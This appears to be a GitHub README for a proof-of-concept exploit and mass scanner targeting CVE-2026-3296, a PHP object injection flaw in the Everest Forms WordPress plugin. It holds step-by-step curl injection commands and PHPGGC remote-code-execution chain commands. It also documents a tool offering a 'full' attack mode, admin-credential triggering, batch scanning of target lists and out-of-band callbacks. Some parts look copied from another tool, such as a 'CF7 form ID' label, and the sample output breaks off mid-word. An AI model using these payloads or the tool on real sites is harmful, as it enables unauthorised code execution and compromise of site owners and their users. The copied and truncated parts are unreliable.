xxconi/CVE-2026-3296

GitHub: xxconi/CVE-2026-3296

该项目提供了一个用于检测和利用 Everest Forms WordPress 插件中未授权 PHP 对象注入漏洞(CVE-2026-3296,CVSS 9.8)的概念验证及自动化扫描工具。

Stars: 0 | Forks: 0

# CVE-2026-3296 CVE-2026-3296 是一个 CVSS 9.8 严重级别的未授权 PHP Object Injection 漏洞,存在于 Everest Forms WordPress 插件中。 # CVE-2026-3296 — Everest Forms PHP Object Injection 扫描器 ## 📌 关于漏洞 Everest Forms 插件在管理面板中查看表单条目元数据时,调用了 PHP 原生的 `unserialize()` 函数,且**未**使用 `allowed_classes` 参数。 未经身份验证的攻击者可以将序列化的 PHP object payload 嵌入到任何公开的表单字段中,从而将其保存到数据库中。 当管理员通过面板查看条目时,会触发 `unserialize()`,进而执行当前环境中存在的任何 **POP gadget chain**。 ## 🔍 漏洞摘要 | 字段 | 值 | |---|---| | **CVE ID** | CVE-2026-3296 | | **CVSS** | 9.8 Critical | | **类型** | PHP Object Injection (不受信任数据的反序列化) | | **受影响版本** | <= 3.4.3 | | **已修复版本** | 3.4.4 | | **身份验证** | 无需验证 (注入),需要 Admin (触发) | | **CWE** | CWE-502: 不受信任数据的反序列化 | ## ⚙️ 技术分析 ### 两阶段攻击模型 ``` FAZ 1 — ENJEKSIYON (Kimlik doğrulama gerekmez) FAZ 2 — TETİKLEME (Admin panel görüntülemesi) ``` ### 阶段 1 — 注入:Payload 存储 #### 表单提交 Hook (class-evf-form-task.php, line 75) ``` // Her front-end sayfa yüklemesinde tetiklenir add_action( 'wp', array( $this, 'listen_task' ) ); ``` ``` // line 109 — kullanıcı verisi sanitize edilerek işlenir $this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) ); ``` #### 为什么净化是不够的 (evf-core-functions.php, line 4754) ``` // sanitize_text_field() HTML tag, null byte siler // PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ default: $entry['form_fields'][$key] = sanitize_text_field( $entry['form_fields'][$key] ); ``` 该 payload 在经过 `sanitize_text_field()` 处理后**被完整保留:** ``` O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";} ``` #### 额外 Bug — 提前返回 (line 4764) ``` // return $entry; ifadesi foreach döngüsü İÇİNDE // → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır foreach ($entry['form_fields'] as $key => $value) { ... return $entry; // ← BUG: döngü ilk iterasyonda çıkar } ``` #### 写入数据库 (class-evf-form-task.php, line 1326) ``` $entry_metadata = array( 'entry_id' => $entry_id, 'meta_key' => sanitize_key( $field['meta_key'] ), 'meta_value' => maybe_serialize( $field['value'] ), // maybe_serialize() düz string'i değiştirmez // → Serialized object string verbatim yazılır ); $wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata ); ``` ### 阶段 2 — 触发:不安全的反序列化 #### 存在漏洞的代码 (html-admin-page-entries-view.php, line 130–133) ``` $meta_value = is_serialized( $meta_value ) ? $meta_value : wp_strip_all_tags( $meta_value ); if ( is_serialized( $meta_value ) ) { $raw_meta_val = unserialize( $meta_value ); // ↑ allowed_classes parametresi YOK // PHP varsayılanı: TÜM sınıflar instantiate edilebilir // → POP gadget chain tetiklenir } ``` #### 存在安全的 Wrapper 但未被使用 (evf-core-functions.php, line 5594) ``` // Bu fonksiyon zaten mevcuttu — sadece çağrılmadı function evf_maybe_unserialize($data, $options = array()) { if (is_serialized($data)) { if (version_compare(PHP_VERSION, '7.1.0', '>=')) { $options = wp_parse_args($options, array('allowed_classes' => false)); return @unserialize(trim($data), $options); // Güvenli } return null; } return $data; } ``` ### 为什么 Nonce 无法提供保护? ``` ``` Nonce 提供 **CSRF 保护**,而不是 **身份验证**。 攻击者可以通过 GET 请求打开表单页面并读取 nonce,然后 通过 POST 请求发送 payload。 ## 🔴 完整攻击链 ``` ┌──────────────────────────────────────────────────────────────┐ │ FAZ 1 — ENJEKSIYON (Unauthenticated) │ │ │ │ GET /contact/ │ │ → form_id=123, nonce=abc123, field=text_xyz │ │ │ │ POST /contact/ │ │ everest_forms[id]=123 │ │ everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...} │ │ _wpnonce123=abc123 │ │ │ │ │ ├── sanitize_text_field() → serialization korunur │ │ ├── maybe_serialize() → string değişmez │ │ └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..." │ └──────────────────────────┬───────────────────────────────────┘ │ (Admin rutin kontrol yapar) ┌──────────────────────────▼───────────────────────────────────┐ │ FAZ 2 — TETİKLEME (Admin Panel) │ │ │ │ GET /wp-admin/admin.php │ │ ?page=evf-entries&form_id=123&view-entry=456 │ │ │ │ │ ├── is_serialized($meta_value) = true │ │ ├── unserialize($meta_value) ← ZAFIYET │ │ │ allowed_classes = (yok) → tüm sınıflar │ │ └── POP gadget chain → __wakeup() / __destruct() │ │ → RCE / File Write / Data Exfil │ └──────────────────────────────────────────────────────────────┘ ``` ## 🧪 概念验证 (手动) **前提条件:** - 已安装并启用 Everest Forms <= 3.4.3 - 可公开访问的表单页面 - 访问管理面板的权限 (用于触发) ### 步骤 1 — 获取表单 ID 和 Nonce ``` TARGET="https://target-site.example.com/contact/" # 提取 Form ID curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+' # 提取 Nonce curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+' ``` ### 步骤 2 — 创建良性测试 Payload ``` # 安全测试 — stdClass,无 magic method PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}' ``` 对于真实环境,使用 PHPGGC 生成 POP chain: ``` # WordPress/RCE1 chain phpggc WordPress/RCE1 system "id" -s # Monolog chain phpggc Monolog/RCE1 system "id" -s ``` ### 步骤 3 — 注入 Payload ``` FORM_ID="123" NONCE="abcdef1234" FIELD="text_abc123" curl -s -X POST "$TARGET" \ -d "everest_forms[id]=${FORM_ID}" \ -d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \ -d "_wpnonce${FORM_ID}=${NONCE}" \ -d "everest_forms[hp][abc]=" ``` 预期结果:表单成功消息或重定向。 ### 步骤 4 — 在数据库中验证 (WP-CLI) ``` wp db query \ "SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \ --allow-root # 应该看到 O:8:"stdClass":2:{...} 行 ``` ### 步骤 5 — 以 Admin 身份触发 ``` https://target-site.example.com/wp-admin/admin.php ?page=evf-entries &form_id=123 &view-entry= ``` 页面加载时将执行 `unserialize()`。 ### 步骤 6 — 验证 Gadget Chain (测试环境) ``` // test-gadget.php — SADECE TEST ORTAMINDA KULLAN class TestGadget { public function __wakeup() { file_put_contents( '/tmp/pwned.txt', 'PHP Object Injection confirmed at ' . date('c') ); } } ``` ``` cat /tmp/pwned.txt # PHP Object Injection 已在 2026-04-08T... 确认 ``` ## 🛠️ 自动扫描器 ### 安装 ``` git clone https://github.com/kullanici/cve-2026-3296-scanner cd cve-2026-3296-scanner pip install -r requirements.txt ``` **requirements.txt** ``` requests ``` ## 🚀 使用方法 ### 漏洞检测 (良性 Payload) ``` python everest_forms_poi.py -u http://hedef.com --mode scan ``` ### 仅注入 (阶段 1) ``` python everest_forms_poi.py -u http://hedef.com --mode inject \ --payload-type probe ``` ### 完整攻击 (阶段 1 + 阶段 2) ``` python everest_forms_poi.py -u http://hedef.com --mode full \ --admin-user admin --admin-pass Pass123! ``` ### 手动指定表单 ID + 自定义 Payload ``` python everest_forms_poi.py -u http://hedef.com --mode inject \ --form-id 5 --field-name text_abc123 \ --custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}' ``` ### 使用 OOB Callback 进行检测 (Burp Collaborator) ``` python everest_forms_poi.py -u http://hedef.com --mode scan \ --payload-type ssrf \ --callback-url http://your.burp.collaborator.net ``` ### 批量扫描 ``` python everest_forms_poi.py -l targets.txt -t 10 \ --mode scan -o sonuclar.txt ``` ### 使用代理 ``` python everest_forms_poi.py -u http://hedef.com --mode full \ --admin-user admin --admin-pass Pass123! \ --proxy http://127.0.0.1:8080 ``` ## ⚙️ 参数 ### 模式 | 模式 | 说明 | |---|---| | `scan` | 注入良性 payload — 用于漏洞检测 | | `inject` | 仅阶段 1 — 存储 payload | | `trigger` | 仅阶段 2 — 使用 admin 登录触发 | | `full` | 阶段 1 + 阶段 2 — 完整攻击 | ### 通用参数 | 参数 | 简写 | 说明 | 默认值 | |---|---|---|---| | `--url` | `-u` | 单个目标 URL | — | | `--list` | `-l` | 目标列表文件 | — | | `--threads` | `-t` | 线程数 | `5` | | `--output` | `-o` | 输出文件 | `poi_results.txt` | | `--proxy` | — | 代理 URL | — | | `--force` | — | 即使插件检测失败也继续 | `False` | ### 表单参数 | 参数 | 说明 | 默认值 | |---|---|---| | `--form-id` | CF7 表单 ID | 自动检测 | | `--form-url` | 表单页面 URL | 自动检测 | | `--field-name` | 目标字段名称 | 自动检测 | | `--nonce` | 表单 nonce 值 | 自动提取 | | `--entry-id` | 条目 ID (触发模式) | 自动检测 | ### Payload 选项 | 参数 | 说明 | 默认值 | |---|---|---| | `--payload-type` | Payload 类型 | `probe` | | `--custom-payload` | 自定义序列化字符串 | — | | `--cmd` | RCE 命令 | `id` | | `--callback-url` | OOB callback URL | — | ### 管理员凭据 | 参数 | 说明 | |---|---| | `--admin-user` | Admin 用户名 | | `--admin-pass` | Admin 密码 | ## 💀 Payload 类型 | 类型 | 说明 | 用法 | |---|---|---| | `probe` | 良性 stdClass — 无副作用 | 漏洞检测 | | `file_write` | 写入文件 | 测试环境验证 | | `ssrf` | HTTP callback — OOB 检测 | Burp Collaborator | | `wp_rce` | WordPress POP chain 占位符 | 使用 PHPGGC 生成 | | `yoast_rce` | Yoast SEO POP chain 占位符 | 使用 PHPGGC 生成 | | `monolog_rce` | Monolog POP chain 占位符 | 使用 PHPGGC 生成 | ## 📊 扫描器输出状态 | 状态 | 说明 | |---|---| | `★ PWNED` | 已触发反序列化 + payload 已执行 | | `★ VULN` | 已注入 payload — 漏洞已确认 | | `~ TRIGGERED` | 条目已被查看 — 需手动验证 gadget chain | | `- INJ_FAIL` | 注入失败 (已修补 / 无表单) | | `~ NO_FORM` | 未找到 Everest Forms 表单 | | `- NO_PLUGIN` | 未安装该插件 | | `~ NO_CREDS` | 缺少管理员凭据 | | `- ADM_FAIL` | 管理员登录失败 | | `~ UNREACH` | 无法访问目标 | ## 🖥️ 扫描器输出示例 ``` [*] Hedef : http://hedef.com [*] Mod : full [*] Payload Tipi : probe [*] Komut : id [*] Admin User : admin [→] http://hedef.com Adım 1: Everest Forms formu aranıyor... [→] http://hedef.com Adım 2: Payload enjekte ediliyor... [→] http://hedef.com Adım 3: Admin girişi yapılıyor... [→] http://hedef.com Adım 4: Entry ID aranıyor... [→] http://hedef.com Adım 5: unser ```
标签:CISA项目, PHP对象注入, WordPress, 加密, 安全, 文件完整性监控, 无服务器架构, 漏洞扫描器, 超时处理, 逆向工具